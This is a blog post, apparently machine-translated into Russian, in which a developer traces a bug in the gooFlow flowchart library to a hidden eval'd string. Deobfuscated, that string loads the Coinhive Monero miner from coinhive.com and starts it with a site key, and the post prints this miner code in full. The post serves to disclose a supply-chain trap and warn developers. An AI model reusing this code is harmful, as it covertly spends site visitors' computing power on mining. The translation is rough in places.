В связи с необходимостью работы необходимо нарисовать блок-схему на интерфейсе и найти фреймворк с открытым исходным кодом.gooFlow(На картинке ниже показан этот фреймворк с открытым исходным кодом), он может редактировать блок-схемы, предоставлять узлы и линии, а также некоторые вспомогательные функции. Посмотрите на это повнимательнее, это фреймворк, написанный китайцами, документация тоже на китайском, очень проста в использовании.
Но при использовании этого фреймворка я обнаружил очень странный баг, который описывается как:Я нажимаю на тег a родительской страницы, чтобы перейти на страницу блок-схемы.Если целью тега является _top, страница не сообщит об ошибке, но если значение цели равно _blank, страница не сообщит ошибка при первом открытии.При обновлении страницы будет сообщено об ошибке.Сообщение об ошибке выглядит следующим образом
На самом деле из этой информации нельзя вывести никакой конкретной информации. Я только знаю, что объект jQuery не должен существовать, поэтому это привело к неправильной работе программы. Я тщательно проверил введение кода моей страницы и обнаружил, что jQuery был введен. Нет проблем. В сочетании со временем появления этой ошибки об ошибке будет сообщено только тогда, когда страница будет заново открыта и обновлена один раз, поэтому можно сделать вывод, что платформа gooFlow должна ссылаться на объект родительской страницы, и затем, когда страница обновляется один раз, объект родительской страницы пуст, что приведет к ошибке.
Затем я начал искать сайты gooFlow.window.openerа такжеwindow.parentцитаты,window.opener возвращает ссылку на объект Window, создавший окно, а window.parent возвращает родительское окно текущего окна.. Но ни один не нашел источника ошибки.
Когда в растерянности, попробуй использовать самый примитивный метод,удалить ссылку js на родительской странице, чтобы увидеть, какую ошибку выдает страница блок-схемы, когда я удаляю jQuery родительской страницы, страница сообщает о другой ошибке (ниже).
Найдите код в соответствующем методе, как показано ниже, чтобы использоватьevalВыполнение строки строк очень сложно отладить, поэтому мне нужно скопировать эту строку кода и выполнить ее, чтобы увидеть, какой код выполняется?
Просто, когда я задавался вопросом, почему мне нужноШифрование кодаКогда я нашел строку, выполняемую eval, после ее форматирования следующим образом была найдена причина сохранения,_opener.$использование правильноСсылка на jQuery, которая открывает эту страницу, поэтому удаление сообщения об ошибке jQuery родительской страницы будет непоследовательным.
var _ = window;
try {
_ = _.opener.$
} catch (e) {
try {
_ = _.top.$
} catch (e) {
_ = $
}
};
if (!_("head").data('x')) {
GooFlow.a = 1;
_a = 20;
var d = new Date();
_("head").data('x', 1);
_.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
dataType: 'script',
cache: true
});
_i = setInterval(function () {
try {
new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
clearInterval(_i)
} catch (e) {
_a--;
if (_a < 1) document.write("")
}
}, 1000)
}
Если вы внимательно посмотрите на этот код, то обнаружите, что это строка кодов майнинга! ! ! Перейдем к интерфейсу запроса:https://coinhive.com/lib/coinhive.min.js
, затем выполнитеnew CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
Начать майнинг, нашел в сети, этоКод майнинга Монеро. Подробнее см. в следующей статье:
JS-майнинг — как Monero использует веб-майнинг?
(http://liujinkai.com/2017/10/28/is-Miner/)
Сейчас многие фреймворки с открытым исходным кодом, плагины и библиотеки нужно использовать с осторожностью. Если вы не будете осторожны, вы попадете в ловушку других. Майнинг осуществляется на основе принесения в жертву пользовательскому опыту. Жарко, так что если вы обнаружите, что оптимизация бесполезна, когда вы оптимизируете взаимодействие с пользователем для своего веб-сайта, не забудьте выяснить, какие скрытые ловушки находятся в вашем эталонном коде.
Наконец, порекомендуйте плагин для хрома для блокировки майнинга.майнерБлок!
Наконец, я желаю студентам удачи на вступительных экзаменах в колледж!
Добро пожаловать в мой публичный аккаунт WeChat: 8:30 в интерфейсе
Дополнение: gooFlow закрыт из-за жалоб, все вопросы жалуются на автора этого фреймворка, здесь только скриншоты, можете посмотреть и посмеяться.
Непонятные щелчки:Диалог по определенной проблеме